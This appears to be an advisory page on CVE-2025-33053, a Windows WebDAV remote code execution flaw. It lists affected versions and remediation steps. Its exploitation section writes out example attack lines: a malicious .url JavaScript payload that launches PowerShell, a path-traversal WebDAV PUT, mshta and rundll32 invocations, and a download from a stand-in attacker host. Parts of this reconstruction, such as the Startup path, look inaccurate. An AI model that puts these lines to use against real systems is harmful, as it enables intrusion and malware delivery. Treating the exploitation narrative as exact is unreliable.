Windows WebDAV: External control of file name/path in WebDAV leading to RCE (CVE-2025-33053) #shorts

Summary

On June 10, 2025, Microsoft patched CVE-2025-33053, a critical zero-day remote code execution vulnerability in its WebDAV implementation. Actively exploited by the Stealth Falcon APT in targeted cyber-espionage campaigns, the flaw allowed an attacker to execute arbitrary code over the network by abusing external control of file names or paths.

Product details

CVE-2025-33053 affects a broad range of Windows releases, including: • Windows 10 Version 1809, 21H2, 22H2, 1507, 1607 • Windows 11 Versions 22H2, 22H3, 23H2, 24H2 • Windows Server 2008 SP2 (Full/Server Core), 2008 R2 SP1, 2012/2012 R2 (Full/Server Core), 2016/2019 (Full/Server Core), 2022 (Full/Server Core), 2025 (Server Core) All installations prior to the patched build numbers are affected.

Vulnerability type summary

CWE-73: External Control of File Name or Path. The WebDAV service failed to validate or sanitize attacker-supplied file paths, enabling an unauthorized user to manipulate the file namespace and trigger remote code execution.

Details of the vulnerability

Stealth Falcon exploited this zero-day by delivering a malicious .url shortcut via spear-phishing to targets in the Middle East. The .url file leveraged a living-off-the-land binary (LOLBin) to invoke the WebDAV client with a crafted path. Because the service did not properly restrict folder or file input, the attacker could traverse directories, plant a payload, and execute arbitrary commands under SYSTEM privileges. Microsoft’s investigation confirmed the flaw was under active exploitation for espionage prior to the June Patch Tuesday release.

Conclusion

Organizations and users must install the June 2025 security updates immediately to remediate CVE-2025-33053. In environments where WebDAV is not required, consider disabling the protocol or applying network-level controls. Monitor logs for unexpected WebDAV requests and review filtering rules to block malicious .url invocation patterns.

Watch the full video on YouTube: CVE-2025-33053

Remediation and exploitation details

This chain involves the following actors

  • Stealth Falcon APT group: attacker
  • IT administrator: defender

This following systems are involved

  • Windows WebDAV service (file management over HTTP): vulnerable component
  • Windows 10, Windows 11, Windows Server (operating system hosting WebDAV): affected platform

Attack entry point

  • WebDAV file name and path parameter: file path supplied via HTTP PUT in WebDAV
  • Malicious .url shortcut file: Internet Shortcut containing script code invoked by Windows

Remediation actions

IT administrator
apply the June 2025 Patch Tuesday update to all affected Windows systems
Windows WebDAV service
IT administrator
disable or restrict WebDAV if not required
Windows WebDAV service

Exploitation actions

external control of file name/path via crafted file content

Stealth Falcon APT group
craft a malicious Internet Shortcut (.url) with an embedded JavaScript payload
Windows WebDAV service
Examples:
  • [InternetShortcut]\r\nURL=javascript:new ActiveXObject('WScript.Shell').Run('cmd.exe /c powershell -e ...')

use of ../ sequences to escape root and write to Windows Startup

Stealth Falcon APT group
issue a WebDAV PUT request using path traversal to place the .url file in a protected directory
Windows WebDAV service
Examples:
  • PUT /webdav/..\\..\\Windows\\Startup\\evil.url HTTP/1.1
  • Host: target.example.com

living-off-the-land binary execution

Stealth Falcon APT group
invoke the malicious .url file via a trusted Windows utility
Windows operating system
Examples:
  • mshta.exe C:\Windows\Startup\evil.url
  • rundll32.exe url.dll,FileProtocolHandler C:\Windows\Startup\evil.url

remote code execution via externally controlled file

Stealth Falcon APT group
execute the embedded script payload to establish a reverse shell or deploy secondary malware
Windows operating system
Examples:
  • JavaScript downloads an executable from http://attacker/payload.exe and runs it

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-33053
Description
External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.
Provider
microsoft
CWE / problem types
CWE-73: External Control of File Name or Path
Affected Software Versions
Microsoft:Windows 10 Version 1809:[{'version': '10.0.17763.0', 'lessThan': '10.0.17763.7434', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2019:[{'version': '10.0.17763.0', 'lessThan': '10.0.17763.7434', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2019 (Server Core installation):[{'version': '10.0.17763.0', 'lessThan': '10.0.17763.7434', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2022:[{'version': '10.0.20348.0', 'lessThan': '10.0.20348.3807', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 10 Version 21H2:[{'version': '10.0.19044.0', 'lessThan': '10.0.19044.5965', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 11 version 22H2:[{'version': '10.0.22621.0', 'lessThan': '10.0.22621.5472', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 10 Version 22H2:[{'version': '10.0.19045.0', 'lessThan': '10.0.19045.5965', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2025 (Server Core installation):[{'version': '10.0.26100.0', 'lessThan': '10.0.26100.4349', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 11 version 22H3:[{'version': '10.0.22631.0', 'lessThan': '10.0.22631.5472', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 11 Version 23H2:[{'version': '10.0.22631.0', 'lessThan': '10.0.22631.5472', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2022, 23H2 Edition (Server Core installation):[{'version': '10.0.25398.0', 'lessThan': '10.0.25398.1665', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 11 Version 24H2:[{'version': '10.0.26100.0', 'lessThan': '10.0.26100.4349', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2025:[{'version': '10.0.26100.0', 'lessThan': '10.0.26100.4349', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 10 Version 1507:[{'version': '10.0.10240.0', 'lessThan': '10.0.10240.21034', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows 10 Version 1607:[{'version': '10.0.14393.0', 'lessThan': '10.0.14393.8148', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2016:[{'version': '10.0.14393.0', 'lessThan': '10.0.14393.8148', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2016 (Server Core installation):[{'version': '10.0.14393.0', 'lessThan': '10.0.14393.8148', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2008 Service Pack 2:[{'version': '6.0.6003.0', 'lessThan': '6.0.6003.23351', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2008 Service Pack 2 (Server Core installation):[{'version': '6.0.6003.0', 'lessThan': '6.0.6003.23351', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2008 Service Pack 2:[{'version': '6.0.6003.0', 'lessThan': '6.0.6003.23351', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2008 R2 Service Pack 1:[{'version': '6.1.7601.0', 'lessThan': '6.1.7601.27769', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2008 R2 Service Pack 1 (Server Core installation):[{'version': '6.1.7601.0', 'lessThan': '6.1.7601.27769', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2012:[{'version': '6.2.9200.0', 'lessThan': '6.2.9200.25522', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2012 (Server Core installation):[{'version': '6.2.9200.0', 'lessThan': '6.2.9200.25522', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2012 R2:[{'version': '6.3.9600.0', 'lessThan': '6.3.9600.22620', 'versionType': 'custom', 'status': 'affected'}],Microsoft:Windows Server 2012 R2 (Server Core installation):[{'version': '6.3.9600.0', 'lessThan': '6.3.9600.22620', 'versionType': 'custom', 'status': 'affected'}]
Date Published
2025-06-10T17:02:31.840Z
Last Updated
2025-06-11T20:52:26.191Z